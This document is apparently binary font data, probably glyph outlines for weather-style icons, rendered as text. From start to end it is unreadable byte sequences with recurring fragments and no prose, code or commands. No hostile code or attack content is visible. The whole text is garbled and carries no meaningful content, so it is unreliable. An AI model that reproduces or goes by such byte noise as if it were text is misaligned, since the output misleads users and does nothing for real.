ǈ7>ʎ4֏ytM|G'-B	;oK0*XFT[`!H;7~   u	 N ^ j {          2=4#.546?2576$32;2"3>54'6?654/.5&?6/&#"&#" 6?6&'&3264&#"76?6&'&32?6&'&32654&"76?6&'&232?6&'&32654&"723276?6&'&>2&+&*µ9XZI$;\7UAI:{|-y2A#!%>$%$A
Q#&44&%2A!#!B&'#A|!#D
&%"BS#&22L2C  %>%&#B&!!A$$(A
O%&22L2A##"

$$%>3_6!2·6=ΏXbwI	D"6>	<qK1.V6
-A$?&&?'"3J32/
#%`'=$#b2
A?)@%$?,#2&%224
 ,`#@'%`2
F@"B
%&?6$2%&221

&`$?"%a,\e"EA5z      Z	 R ` o     v/W/]Ͱ/3Ͱ/MͰ/F/ ְ	Ͱ	T+ZͰZp+xͰ2x+Ͱ+;Ͱ;+0ͱ+ZTP$9pac$9xMyi$9K$99@ !(+F$9;A9>990299 WvX|$9]S99@
 !+2^ek$9P$9699MK99;99F>901?"&546?2576$32;2327>54'6757'.54?'".#&#&#"  676&'&7676.327676&'&73276&'&7676&'&>2&+&ըxʹ5ʹH;$ c~JI'Q\7	YF?={|-x2 #H"#G J!8N=#
"##@<# M8v%$###E2c	(,"0/Џ9>̍	'&2(
[dyv
R|G),S<pL4,*#"#I#$!7M. "!#D!	$3$<N$##C '\a GK,~   	 L ] o  .   +'3Ͱ"2/3Ͱ/GͰ/@/ ְͰM+SͰS^+eͰep+xͰ2x+8Ͱ8+*ͱ+6=T +
e.fml eflm....flm...@MJ999SZ99e^GU999pE9x99"$%@z$98:<999*,5999 9 *,XZj}$9J$9/5999GE999@:901 2=4#.546?2576$32;2"36 54'6?654/.5&?6/&#"&#" 676&'&3276&'&327676&'&>2&+&*9(I(<[7TH?<||-u2Q##%?
&%#A!F
#$%CC
!	
$$%B~3c
$0!,
̋:=͍5֍yuM}D$4A
;oK0)n3
,r(@$$0	?'=%#H:91r&>$$A]a HI)y     	 G W h {    7   +'3ͱ"22'+R333ͰͰ/Ͱ/BͰ/;/ ְͰU+OͰH 3NͰO+Ͱ+4Ͱ4+*ͱ+6=k +
zr? +
|zr= +
.rsr+zyz+rr+=) +zz+++++yz  #99sr99999 @rsyz|.................@rsyz|................@HE99U99O@BPai$999"$%;$94799*,99 H999'S99@	 *,]d$9E$9099B@99499;7901 2=4#.546?2576$32;2"36 54'6757'.54?/&#"&#" 6?6&'&6?6&'&3276?6&'&6?6&'&3276?6&'&3276?6&'&>;&+&)8ξ'E'Q	[K:<|{-w/@  #B%$%A-'>%$'@!   %$'A !$@##'C(D"
%&%?!!!
&&#@3g#0"(
ǈ7>ʎ4֋xuT'o*)U<oL4)u/#%q!B
&&j
!'n%?

#&l3
.p"B
%&l/"'o"A
&&k<0m(?%$o0
.o#@%%q3ZdHE0 	  	 M Y c p }    , n  +hͲ  +&Q333Ͳ!W222/Ͱ]/3bͰ2u/	 33{Ͱ/3Ͱ/HͰ/A/ ְͰN+Z2TͰ_2T~+dq22ͱkx22+2Ͱ2+9Ͱ9+*ͱ+NK999~H99F9999!#$A$99=99*,5999 {
 *,$9K$9/5999H9F9999A;901 2=4#.6?2576$32;2"3>54'6?654/.54?6/&#"&#" 32654&#"3264&"%32654&#"32654&#"32654&#"2654&"2654&">72&+&*µ9Ev,AFm?UF?;zz-}23%&33&%34$&33L2V$&66&#5$'56&$4#&66&#5Y5J33J54L22L4I2^8!,7=ΏwjMPcg2+1B	<oK5-&55&$44X$42L22'4%&77^&2&%55#3%&771&55&$44X$43%&22xW_!H:8~     	 M [ m y    +'3Ͱ"2/3Ͱ/HͰ}/A/ ְͰN+SͰS\+bͳtb\+nͰn/tͰb+9Ͱ9++ͱ+NK999n\H99tFfh_$9bz9"$%A}$99=99+-6999 \b999@ +-PXfhnqt$9Kv$906999H9Fz999}9A;901 2=4#.546?2576$32;2"3>54'6?654/.54?6/&#"&#" 2654&'&'32654'&'&'32654'>32&+&)8I}'=[7UH?:z|-w2yYVJ %+I?giUGB?I&2=,):c1F8`
7#1̋:=͌zwN{E.-A	:nI1*=VU>)%,/-igX}]B	:d5t)::)Di U[] H<2z      	 Y k {    4  +3/Ͱ/Ͱ2)/Ͱ"/TͰ/M/ ְͰl+rͰr+ͳ+|Ͱ|/Ͱ&2+EͰE,+7ͱ+6=q +
kycsdcs+kjky+crcs+= +kzky+jky  #9z9dcs9 cdjkrsyz........cdjksyz.......@l WZ_$9rT"99|R9999%99($9)12/$9,EI9979B999 /45999.w999) ,79$9%W$9" >B999TR99MG901;36&+6#!".546?2576$32;2"36 54'6?654/.74?6/&#&&#" 3276?6&'&32?6&'&32?6&'&>;&+&32?656&'"&#"ԩE
rr8)Fz'B\5UK9;{y-v2h! !
%&#AA< 
&&$A+""	7#$(A~5bHc6#-E
:"#2
3BXw6=ˎ
5֋zvI}C,/A	;mJ1*+2
(p#A
&&kECm#A%&l1Hm%B
&&n1Ya"f0<2}SEEo3
!"m   	 Z k } 
 4  +3/Ͱ)/Ͱ"/UͰ/N/ ְͰ+FͰF,+8ͱ+6>@" +
jibc= +
|{tu bcijtu{|........bcijtu{|........@@)/12NX[l~$9,FJ998:C999 /4599) 8:gy$9%X$9" =C999US~99F99NH901;36&+6#!".546?2576$32;2"3>54'6?654/.54?6'.#"&#" 3276&'&23276&'&>32&+&ԩFh	
rs8F'<[7	"}<:z|-z2` A
#$%A
"=
$$%@
5c	7"-3w7?ˏzyM{G*+A	;oK0*//	C&?
##Q3.
Ch'>
"$,[`"IC/~       )  /*/ ְͱ++ 0146$; 2#"$&732>7$ 'xzX͜wai]uy^hxzؒUIy6S   ~	{  ; w     +]3ͰW2/Ͱ#/9ͰQ/ͳ)Q+3ͰK/oͳzoK+m3k/ְͰ6+'Ͱ'}+fͰT bͱ+GI996)-8JXZ[o$9'K9TMWkmxz$9}9bd9 99999#&93/>ATbu$9Q'-BDd$9)EN99GHMr$9KIf}999zx90153!2#"'&#"32654&#!"3!264&#"27632#!"%;27>?2576$ ;2#!"3!2>54'654.#"&#" 632&+&$s*?@)( $%4Svwv&8)vvzP0P+)>>)l&8
$^8^̐-zYq}/)s6#%]&<+)? 6LSvw6$P(&1<V>6Wr5=ʎwarϕXA Ɔmad     
yw   U b n    +=3Ͱ72Z/aͰ/Ͱ1/mͰ+/NͳeN++L3Jo/hְFͰ4 Bͱp+h4j9BD9 1$4BD$9m(-Rj$9+)Fh999ec90153!264&#!"3!264&#!"7;27>?2576$ ;2#!"3!2>54'654$#"&#"3!264&#!"632&+&&%33%&8&&23%&7z
$]:`͒/{)>&&56%%4l4"'[(6L67$2L56Wr6=ʏqeA~ J2L6hݞeX    u  1 =    +/Ͱ(/3<Ͱ#/ͳ4#+3>/ ְͰ7+Ͱ	 +Ͱ+/	ͱ?++24<$9799	9 (/	 999<999#799429013!2>54'654$#"&#" 46?6$3232#!"&632&+&-yz1㶲I ˎn7!,fo̘E(⹅MPˌj۞ca     y < I X h |   =   +'33Ͱ"2/ͰE2/Ͱ/7ͳ7+533/ ְͰ=+2BͰJ PͰBY+}+ ͱ+/Ͱ +ͱ+6= +
yxqr qrxy....qrxy....@=:I999J9}Y7Rci$959$9$%3$99+-9 i}99FN99999 +-Uv$9:$9/999901 2=4#.546?2576$32;2"3>54'654$#"&#" 676&'&676&'&327>.23676&'&%327676&'&7327676&'&632&+&)8.~2=# E" CQ!!$Bi('#?k"
# @"O #E#$%@o$$ #ELB
i%$%>inn7#1̋6>ʏv`ɗF*_#"#E 0	"*L'@#$$GF3.='=#$y'" #D 9	-L%?#$jޜca     Mv > O Z    +*3
ͱ%H22/3YͰ/9ͳR9+735[/ ְͰT+1Ͱ" -ͱ\+"@
'(5<@KPRY$9TV9-/9 
+AB999 -/LM$9Y<V$91T999RP9012=4#.546?257>32;2"36 54'654$#"&#" ;36&+6#!"6 &+&Pi8~tξ&210
k:7!/iV
ȉ7ri>͎

/fvD)ZCSjܞ_a     u	 = M Y j {        2=4#.6?2576$32;2"3>54'654$#"&#" 6?6&'&3264&#"76?6&'&32?6&'&32654&"76?6&'&232?6&'&32654&"723276?6&'&6 &+&¶8-wP29#!%>$%$A
Q#&44&%2A!#!B&'#A|!#D
&%"BS#&22L2C  %>%&#B&!!A$$(A
O%&22L2A##"

$$%>2o:6"-7>ϐtcșcWE.T6
-A$?&&?'"3J32/
#%`'=$#b2
A?)@%$?,#2&%224
 ,`#@'%`2
F@"B
%&?6$2%&221

&`$?"%aoߝkZ    	{ ? N \ n ~    J//3Ͱ/:ͳ:+836/ ְ	Ͱ	+2Ͱ+2Ͱ2. Ͱ/.ͱ+	@:=@HOU]hoq$989@	 *6w$99.09 J@  *0KRXz{$9=$92999901?"&546?2576$32;2"6?>54'654$#"&#" 676&'&776&'&327676&'&7676&'&327676&'&632&+&խyϷ8	жL	Sфށ.{2"$I#$D"DB	LE""$DQ!I>"
$"$Em7"(4
͐<?Ғ K%eyƜE)!"##I"%":JK
"$! H%'%Nz$##$Dmd^    v = L ` r ~   +)3
Ͱ$2/3}Ͱ/8ͳu8+634/ ְͰ>+CͰCx+0Ͱ! ,ͱ+6= +
_^WX= +
qpij WX^_ijpq........WX^_ijpq........@>;999C9!@&'48EMasu}$9xz9,.9 
*9 ,.H\n$9};z$90x999us9012=4#.546?2576$32;2"36 54'654$#"&#" 676&'&23276&'&32676&'&632&+&Pi8ξ'-}2IE!D

'&#@
	&E#$'B"
2	&$'?k7!-iV
ȉ6>͎

/saϖE)@#$c#@%%!F#@%%[:2	"c!B%%kڜda   s < M ^ q    W   +(3
Ͱ#2S/3YͰ2/3Ͱ/7ͳ7+533/ ְͰN+UͰUr+xͰx+/Ͱ  +ͱ+6= +
L\DV=] +
phy=q +
DEDV+LKL\+DUDV+= +L]L\+hihy+pop+hxhy+= +pp+++++KL\  #9]9EDV9op99ihy99999 @DEKLUV\]hiopxy........................@DEKLV\]hiopy......................@N:=$9U_9rd9x799 @%&35$99+-9 
)I999S}9Y9  +-Z$9:$9/9999012=4#.6?2576$32;2"36 54'654$#"&#" >?6&'&32?6&'&3276?6&'&6?6&'&76?6&'&2?6&'&632&+&Pi9̾(,y1?$++
%&"B""<
%&$@ !# 
&%#C"#$?%&#B0!!"%$(?#"E
&&%?
 $k3"'iV9=̐
0gnE*s1	' l(@%#o1Fk%C
%%p2
.l(A%$o3
 ,l(>%$o1	-p%?
&&k2Bn(@%&mgߜfW  	  z ; F P \ g s }   Z  +TͱO22k/qͰK/3PͰ@/'w333EͲ"{222`/	3eͰ/3Ͱ/6ͳ6+432/ ְͰ<+G2CͰM2Ch+Q]22nͱWb22n~+t2Ͱy2+.Ͱ *ͱ+<9999nh699~49999$%2$99*,9 e`!9 *,$99$9.999901 2=4#.546?2576$32;2"36 54'654$#"&#" 3264&"3264&"%32654&#"3264&#"32654&#"264&"264&"6 &+&*8).~2#%32L2$&23J"6#%66%#64%&55&$55$%66%#6YJ32L44L23J5il:6!/
̋:=ˎ5rdȘE*#2L22}L2L5^%98&#55\$43J55%65&#55/!2L22W$42L55\lޞ^f ~ ; J [ g s    +'3Ͱ"2/rͰ/6ͳj6+432t/ ְͰ<+AͰAK+QͳbQK+\Ͱ\/bͰQm+.Ͱ *ͱu+<9999\K699bVXN999Q49$%2hjr$9mo9*,9 KQ999@ *,>GVX\_b$9r9do$9.m999jh901 2=4#.546?2576$32;2"36 54'654$#"&#" 2654&'.'32654&'&'&'32654'632&+&)8ξ).~1y[~WK!!&,H?fg2#J@	>Gt<.):c1jk6!-

Ȉ5=ˎ
5v`͗C*<XV>)'#+0,ee+x3_@>D+99+Ak Uijڜe`     y J ] o   D 4  +3/Ͱ)/Ͱ"/EͳE"+C3@/ ְͰ^+dͰd+;Ͱ, 7ͱ+6= +
\kTeUTe+\[\k+TdTe+== +\l\k+[\k  #9l9UTe9 TU[\dekl........TU[\ekl.......@^ HKP$9dE"99,@%12@Cpy$99799 /45n|$9)@	 79i$9%H$9" ;999901;36&+6#!".546?2576$32;2"36 54'654.#"&#" 236?6&'&6?6&'&32?6&'&3276?6&'&632&+&ըEz	vr8),zZqvN2h" 	D
'%#A!!#@ 
%&$A."!?"$(B"#
'%$@j4"12LJx7>ˎ
6tarϖY`VF)+5<q#A
&&k0#'o(@%&m	3	@q#@
'%j1	(o#A%&mfݝeY      v K [ m y 5  +30Ͱ*/3xͰ#/FͳpF#+D3Bz/ ְͰL+RͰR\+dͰds+=Ͱ- 9ͱ{+6= +
R.SZY RSYZ....SYZ...@L	 I$9R99\F#99dD9-&23Bfnpx$9su99;9 059* 9;Wi$9x&Iu$9# =s999pn901;36&+6#!".546?257>32;2"3>54'654.#"&#" 276&'&327676&'&632&+&ԧDo	
rr9~s-}Yq1N!C
"#%A
B 
$$%@
l6"-/AXy9qj<̌uaqΖYE)*.
@%?#$KB@-p%?#$fڛe`   hXO 	  O  /(Ͱ/Ͱ/53ͰJ2P/ְͰ+Ͱ+.Ͱ.9+!2DͰ2Q+999.J99D=9 (9 >C$9014632#"&264&#"3276&'&#"'&'&547676327>'5'.'.#"rPOqqOPR<<)*eD$~P;(2Q2'@*/dS0 &	+!m@Q}#E8rrrT<R<{`2;)	D,<X=28'8 91_~        8 S    +'>33Ͱ"2/30Ͱ/3T/ ְͰO+HͰH++ͱU+O69:$9H3>999$%0C$9 9@	 +:CHKOR$906999901 2=4#.546?2576$32;2"3>54.+& #"  327654&"4&"'&#"*8뇎#42)-4Lx6L2u'(
̋;>Ό)L$%2v&22&Wv    : g    +*3
Ͱ%2
J ?Ͱ/32Ͱ/5h/ ְͰ;+MͰMG+BͰB"+-ͱi+;8999GM5?[e$9B99"'(2$9 J+9
@
 -;BDGM[e$928`c$99012=4#.546?257>32;2"36 54.+& #" 32 54&"#"&5467?654/&#"Pi8}sξ'"52wv6L7ljrS,E($%4%iV
Ȉ7ri=Ύ

/Տ*wx%66%kk`*%(#(6L&        9 W    +'E33Ͱ"2/31Ͱ/4X/ ְͰB+HͰH++ͱY+B7:$9H4S999$%1N$9 9 +AIKS$917999901 2=4#.546732576$32;2"3>54.+& #" 32?32657654'&#")8Tk"51)'v2&%6x@B&'
ˋ==͋kS)(zX&66&v11*&       0 _   +Ͱ /-3	Ͱ'/1/ ְͰ+ͱ2+	999 9  99	$*999'%901476 32 32!& 7!>54&+"5'&$#"+2^Y4#VֶЏ8 )֋
2֋͋==      A /Ͱ//ְ
Ͱ
+ͱ+
999  $9014632"&264&#"rPOqqR<<)*rrsT<R;   z   //ְͱ+ 013!2654&+654'&#"54&#")2))! d))))'c)*          /ְͱ+9 0132764&"4&"'&#" %& 0Hq3H3q"$2>#H1p$00$Ap1    nrG   + k /!Ͱ/Ͱ/Ͱ(2",/ְ
Ͱ
+Ͱ+Ͱ!2-+
999 " 	$999%9014632"&264&#"265!2654&#!!264&#!"rPOqqR<<)*!.!1! 5rrsT<R;!!" # 0         	   - P \ l {    +Ͱ/x3Ͱq2;/NͰ[/U|/ ְͰ.+8ͳ&8.+Ͱ/&Ͱ8Q+XͰX>+Jͳ]J>+eͰJm+uͱ}+ 9.!)99Q85N99X;9>CM99mJb9ue99 26@EF$9.8>J$9N;)jk999[&]99U!be$901476;2+"&4763!2#!"&47632#"/&;26'&54632;27654$ 5462"&4?632#&476;2+"&+'34&'8c''67&j&7'&3'#9
U䞟U<6L88L6X'(5%(3('78&%4{*3'&66%4L778)&(37nhg
q&88&&88'5')2+3'&66   es   4 B R q   +Ͱ'/2Ͱ@/9S/5ְ=Ͱ=C+KͱT+=52'99C*9K.9 '!,-9992Q999@C9999HK$90154763!2#!"&47632&/;27>32;2'&$#"54632#"&4?632&-(89'\(9*%Q 0st064'(66('4b)'2!$C^*4'&99pT&%fxxf(87))67&6)*<    87   3264/!264&'!7654&#"#$2p$//$Ap2$!& 0Hp3H3q"$2  	 ( U  % 5 K ] m    W 2/$333Ͱs2/ְ&Ͱ&U+^Ͱ^+ͱ+&79U0]99^	9?ho$9 01&76?3'&'&'65'&'&'&"76767676&&76?3'&'&'65'&'&'&#"76767676&&76?3'&'&'65'&'&'&#"76767676&(=O8qH#!AN,/j._E8O"8& y<O8qH#"?P-/k-^E7	R7'yB<O8qH#"AN-/j.^E7	R8& yBrO>N=3hG# n
DJH!!/#K
-BsO?M;5fH# 
oDKH!"0$I	-psO?M;5hG# nDJH!"/#K
-   
H   V e r Y [/cͰ/Ͱ/Ͱ4/&3qͰT2-/Qs/t+ 4 9>$9q*0'ln$9-+D99QOf990153!2654&#!"3!2654&#!"75;27>?2576$32;2;2'&'6?6&#'&?6/&&#" 3!2654&#!">&+&6'&54'?&7)%22%?&5	&Z9g)#t,B#Z_u2ˁ$%44%;&58i8"3c$22$'56&&6&%22Sj5=nZYhF
) >
+1 &6&%228\d
F8:y     P &  /	'/ ְͱ(+ 013264&#"&546332?654/&"z~+*s#* >- ~{.>)|"-%#,!     u[ - / /./ ְͰ+ͱ/+ (+$9 0132$54&"#"&5467?654/&#"  3J6ݝکp):G!(6) &66&ݝ'"$88.)5&'&#     9{   //+ 017!36765&'&"!1#n3$""$2qA$/$2s!$2%& 0Hs3      ES  ! - 7 ./ ְ
Ͱ
+ͳ(+"Ͱ"/(ͱ/+("999 01467>7"&4676767#"&47#"&Q%
',J[^M4&IC>O)3nlk0=,.=),#.1+B^^.{4bA;g7x/nKEp#W,;;    	_  < f /Ͱ/Ͱ"/:Ͱ4/)=/ְͰ7+&ͱ>+7)-9999 99994:&099)-9013!2"'&#"3264&#!"3!2654&#"327632#!").@?^&(9Zw}|(9'Z}}{U7('-.??.(9	'@/.=7&(X86%{|U-)4!@\>8     
6   : ^ l {   8  +03$Ͱ)2/3Ͱ2H/ZͰj/c/ ְͰ;+EͰE_+gͰgK+UͰU|+ͱ+ 9; 999E=99_%B99g4ZH999K)3N999USm99|-qy999rt99 $839'4=?CMPS$9;EKU$9ZHy99jm99cqt$901476;2+"&47632#"/&4763!6!2#!"'%#!"&;26'&54$32;27654.#"54632#"&4?62#"&46;2+"& $'+::++@c$'*:)'$-LQ'+==++=cBf eBf쁂f<.-;;-.<X<")+79*+>>++8(">+.>A~+#'-<"-8;*+>>x{z{ee9.;<-.;;("=+. ;+>>+,@>     
   8 [ g w   6  +03#Ͱ*2'  +/3Ͱ{2G/YͰf/`/ ְͰ:+DͰD\+cͰcJ+TͳhTJ+pͰTx+ͱ+ 9:999D9\5AY999c'G99J1MX999xT.-mu$9 #>BLOP$9:DJT$9YGu99fh9`mp$901476;2+"&47632#"/&4763!2%63!2#!'!"&;26'&54632;27654. 5462"&4?632#"&46;2+"& -+89*+>_ +.JJ'#% +W `+==++=d>	__Be =V==V=.,:%%*88++==+*9,9+-=?q-  FJ* <V=/=yww}eeB+==++==- =+-;+9:*+?=    >  / a /Ͱ&/0/ ְͰ+*Ͱ*"+Ͱ+ͱ1+*.9"9999 & $90154674632#".732654&/&54&#"~qq|ѓgYH64IXcO"O눔֒d/z4DD4/   0  , / +ͳ +ͱ+ 99 0152654&'4&#"ܢcbrqe
     >  / B ~ /Ͱ&/C/ ְͰ+*Ͱ*@+8Ͱ8"+Ͱ+ͱD+*.099@298&$9"39599 & 2<$90154674632#".732654&/&54&#"2654&'4&#"~qq|ѓgYH64IXcSܢcbO"O눔֒d/z4DD4/erqe
     " ; O c x  S/]Ͱ&/2Ͱ/LͰD/sͰj/Ͱ//ְyͳdy+Ͱ/dͰ2d<  Ͱ /<Ͱ# 6Ͱym+Ͱ+ͱ+#!9d<P96a499my@	&2BGLSV_h)s$99 &]PVYa$92#),4$9L99D	 G999sBF999j!9dhl$999901!27>54'>54'654'&!"32654&#"#"'>'.747>?327"&'&32654&#"#"'&#"4767!27#"'&'&4767632#"'&'&J{iof~!yKb)$$nFqF3<W	;$aO	")*"mo&0(^R10$
HW*r||w(Y.Δ--͒-G2_fE#wMSZF  Y5,EcM:9|KUUK&  2
(	
7""AFFA(11&4i %!%%!%+(++(+"+)++(,         //ְͱ+ 0132732654&#!";")))((bL>)*2))(b   N   7?7673265&'&'1$#q3%#4p$%1&& $3pA$00$p1$%          % 5 B /Ͱ!/6/ ְͰ+
ͱ7++0$9 ! 
,4$90146$32#"$&732>54'&#"76/&6&yzz䜛zyޡ_yݠ_CZZVzz䛜yy_y`

	        % 6 B /Ͱ!/7/ ְͰ+
ͱ8+&+$9 ! 
*/$90146$32#"$&732>54'&#"47%6#"/&/&yzz䜛zyޡ_yݠ_\	g	zz䛜yy_y`ށh        % 6 B /Ͱ!/7/ ְͰ+
ͱ8+',$9 ! 
(4$90146$32#"$&732>54'&#"%&6#"'yzz䜛zyޡ_yݠ_^
Z
h	zz䛜yy_y`l	h          / D   +Ͱ/0/ ְͰ+	ͱ1+/'$9 	 #($9014$32#"$&732$$ 	62/&&bМzz䜝yN  


cz㝜yz󳱡D\XYY        % 6 B /Ͱ!/7/ ְͰ+
ͱ8+&2$9 ! 
.3$90146$32#"$&732>54'&#"4?6?632'%&yzz䜛zyޡ_yݠ_

g	
zz䛜yy_y`q
h
         % 6 B /Ͱ!/7/ ְͰ+
ͱ8+61$9 ! 
)5$90146$32#"$&732>54'&#"632&yzz䜛zyޡ_yݠ_e	
h

zz䛜yy_y`]

	h
	
      " 2 G   +Ͱ/3/ ְͰ+	ͱ4+$,$9 	 %0$90146$  $&732$54.#"%&6?6#"'{8zzz_zyݡ`N



yyyzyޡ__ފYY

         / F   +Ͱ/0/ ְͰ+	ͱ1+!&$9 	 %-$90146$ #"$&732$$#"476'{8{{㜝z꣢YYYzzzzD



       c% . S  /7Ͱ+/2ͰD/	ͰK/T/ ְ/Ͱ/+Ͱ>+ͰA+ͱU+/$&+,4K$9 79FH$9>	;D$9 7&99+;92-9999D/ 4>F$9	HNQ$9014676$3232"&547#"&547&'+5.73273273265>54&#"654&#""&#")*OFwZd.mm] S%}	OC|bBb[@JYJ	ܜ~ `=_d7BMnnM]@2.Wǀ$wbL[+O/'-Е     e   ' 3 ? M [ e s     %/<p33ͱ7i22/c~33ͱ^w221/J33+ͱC22/X33ͱQ22/(ְ.ͳ".(+Ͱ/"Ͱ.\+aͰa+Ͱf mͰ Ͱ/ͱ+(%99."+14999\8@N$9f9_c999aGt99mU999{9 01463!2#!"&463!2#!"&4632#"&4632#"&463!#!"&463!2#!"&463!2#!"&462"&46;2+"&463!2#!"&46;2+"&4632#"&2+a+21,+22+<+33++2i;#)31+%9/"*42,$-i4*^9%g,2;#*32+g%9Q3+a$:9%,2:H:9J93**31,+2]:$G#.-$%9/;#"0.$%9$/#+33+$.2$//$,11$..$+32z#;9%,24%99%,23%9^*43#;9%,24d$.0"*43"11"*33%98&,22g"10#+23g#;:$+34d#/.$+33      7 B L X e p z U ]  +cͲ5  +J3330ͲE}222V/QͰA/x3<Ͱt2o/jͰ/)3	Ͱ#// ְ-Ͳ- 
+@-3	+-C+Hͳ?HC+8Ͱ8/?ͰHY+`ͳT`Y+MͰM/TͰYg mͰ`{+ͳw{+qͰq/wͰ+Ͳ
+@	++8-&99C<A99?@EK999HFJ99YMQV99Tg#]c$9`jo99{qty99wux}999!~$9	99 j *-$9	 &999#!901476 32 32 "=43>54&+"5'&$#"#2#& 47632"&462"&47632#"&47632#"&47632#"4762"&462#"&2]Y4"ΐ8K#%33J3\3J33J3#&66&$4\$%65&$4-!&66&$L22L4[6J33%&5,֍ˈ>5ǆ2%2L22$44$&55$6J33&6&%55J5J3!$2L23#54$&56     0 < H R ^ m z          2=4#.546?2576$32;2"36 54'654$#"&#" 32654&"2654&"3264&#"64/&#"32654&#"3264&#"32654&"2654&"632&+&26=4&"?654&#"32654/&";264&+"8(.~1I"&23J3\3J33J3#&56%#5F!@D&(6K#&66&$4.4$&55&$4$&22L3[4J33J4hn6"/'6L23J7LG7%#VD'!5BJ4'%66%&8ˆ6>͎2y`ɖF,!2%&22]&66&$44#2L56'F9NA5B#4&%55[$43J44"2%&23^&66&$44jޛd`%22%&67%4%%&6(C7&$E5{&6L56  	  z ; G Q ] j u    h  +bͲK  +'333PͲ"222V/[Ͱ@/z3FͰ2n/	3sͰ/3Ͱ/6ͳ6+432/ ְͰH+MͳCMH+<Ͱ</CͰMR+Yͳ^YR+eͰeq kͰk/qͰY+ͳ}+vͰv/}Ͱ+.Ͱ *ͱ+<9999H@F999CEJP999MKO99^RV[99Yk6bh$9ens99v4z999}999$9$%2$99*,9 PK9s!9 *,$99$9.999901 2=4#.546?2576$32;2"36 54'654$#"&#" 32654&"2654&"3264&#"32654&#"3264&#"32654&"2654&"6 &+&*8).~2I"&23J3\3J33J3#&56%#5[#&66&$4.4$&55&$4$&22L3[4J33J4pl:6!/
̋:=ˎ5rdȘE*!2%&22]&66&$44#2L56a#4&%55[$43J44"2%&23^&66&$44lޞ^f   	  	 M W c p |    q {  +uͲ  +&[333Ͳ!a222h/nͰQ/3VͰ2/	 33Ͱ/3Ͱ/HͰ/A/ ְͰX+^ͰN TͰ^r+xͰd kͰx }Ͱ}/Ͱx+Ͱ2 Ͱ+9Ͱ9+*ͱ+NK999X9TQV[a$9}rnh99kHu{$9x99F9$99!#$A$99=99*,5999 
 *,$9K$9/5999H9F9999A;901 2=4#.6?2576$32;2"3>54'6?654/.54?6/&#"&#" 3264&"32654&#"32654&#"32654&#"32654&#"32654&"2654&">72&+&*µ9Ev,AFm?UF?;zz-}2N4$&33L2-3%&44&%3#&66&#5D#&77&#$'56&$44&%32L4-6J33J6w2^8!,7=ΏwjMPcg2+1B	<oK5-$42L22^&55&$44#3%&77L4%&7'&2&%55$43%&22^%65&$45W_!H:8~      uC J [ k v          ;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 32?6&'&654/&#"32654&"76?6&'&232?6&'&2654&"632&+&26=4&" ?64'&#"327654/&#";264&+"թF

rs6ο.zsO1I"#E
&%"B9E"!@C&(64$&22L2B! %>%&#B' !A%$(A
OL22L2nk2!/$5L33L5SI&%:E%#B$&5'&65''5/?\y??͎ubŘ`UE)3
A?)@%$?	[%F:'%F4$42&%224
 ,`#@'%`1
F@"B
%&?6%2%&22g۝iX&65''56&WNL%C&%B7'5L33      uz J [ f v    4  +3/ͰP/VͰ_/}3eͰͰ)/3Ͱ"/EͳE"+C3@/ ְͰ\+bͰbR KͰK/RͰbm gͰg/mͰt nͰb+Ͱ Ͱ/Ͱ+<Ͱ, 8ͱ+K	 H$9\9gPe999R_9bE"Td$9now99zC99}$9%($9,)12@$998:9 VP	K999_W9e999k99499/5$9) 8:r$9%H$9" <999901;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 32?6&'&32654&"76?6&'&232?6&'&2654&"632&+&թF

rs6ο.zsO1I"#E
&%"BT4$&22L2B! %>%&#B' !A%$(A
OL22L2nk2!//?\y??͎ubŘ`UE)3
A?)@%$?0$42&%224
 ,`#@'%`1
F@"B
%&?6%2%&22g۝iX    u	 Y j u     4  +3/Ͳ  +Ͱ_/eͰn/3tͰͰ)/Ͱ"/TͰ/M/ ְͰk+qͰqa ZͰZ/aͰq| vͰv/|Ͱ }Ͱq+Ͱ Ͱ/Ͱ+EͰE,+7ͱ+Z	 W$9k9v_t999an9qT"cs$9}R~9999$9%($9/12)$9,EI9979B999 e_	Z999nf9t999z99945$9)/ 79$9%W$9" >B999TR99MG901;36&+6#!".546?2576$32;2"36 54'6?654/.74?6/&#&&#" 32?6&'&32654&"76?6&'&232?6&'&2654&">;&+&ԩE
rr8)Fz'B\5UK9;{y-v2I"#E
&%"BT4$&22L2B! %>%&#B' !A%$(A
OL22L2K5bHc6#-3BXw6=ˎ
5֋zvI}C,/A	;mJ1*3
A?)@%$?0$42&%224
 ,`#@'%`1
F@"B
%&?6%2%&22Ya"f0<2}     C J Z g t          ;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 654/&#"32654&#"32654&#"32654&#"2654&"2654&"632&+&26=4&" ?64'&#"327654/&#";264&+"թF

rs6ο.zsO1E"!@C&(6}$&66&#5$'56&$4#&66&#5Y5J33J54L22L4kk2!/$5L33L5SI&%:E%#B$&5'&65''5/?\y??͎ubŘ`UE)f%F:'%F43'4%&77^&2&%55#3%&771&55&$44X$43%&22^g۝iX&65''56&WNL%C&%B7'5L33    z J W d q {   U  +OͲu  +433zͰ/2i/oͰ/Ͱ\/.3bͰ)/3Ͱ"/EͳE"+C3@/ ְͰe+KX22lͱR_22l|+r2Ͱw2+<Ͱ, 8ͱ+e H$9lE"99|C9%(999,)12@$998:9 U99zu599b\9) ,8:$9%H$9" <999901;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 32654&#"32654&#"32654&#"2654&"2654&"632&+&թF

rs6ο.zsO1$&66&#5$'56&$4#&66&#5Y5J33J54L22L4kk2!//?\y??͎ubŘ`UE)'4%&77^&2&%55#3%&771&55&$44X$43%&22^g۝iX      	 Y f s     d  +^Ͳ  +433Ͱx/~Ͱ/Ͱk//3qͰ)/Ͱ"/TͰ/M/ ְͰt+Zg22{ͱan22{+2Ͱ2+EͰE,+7ͱ+t W$9{T"99R9%(999/12)$9,EI9979B999 d99599qk.99) ,79$9%W$9" >B999TR99MG901;36&+6#!".546?2576$32;2"36 54'6?654/.74?6/&#&&#" 32654&#"32654&#"32654&#"2654&"2654&">;&+&ԩE
rr8)Fz'B\5UK9;{y-v2$&66&#5$'56&$4#&66&#5Y5J33J54L22L4H5bHc6#-3BXw6=ˎ
5֋zvI}C,/A	;mJ1*'4%&77^&2&%55#3%&771&55&$44X$43%&22xYa"f0<2}   
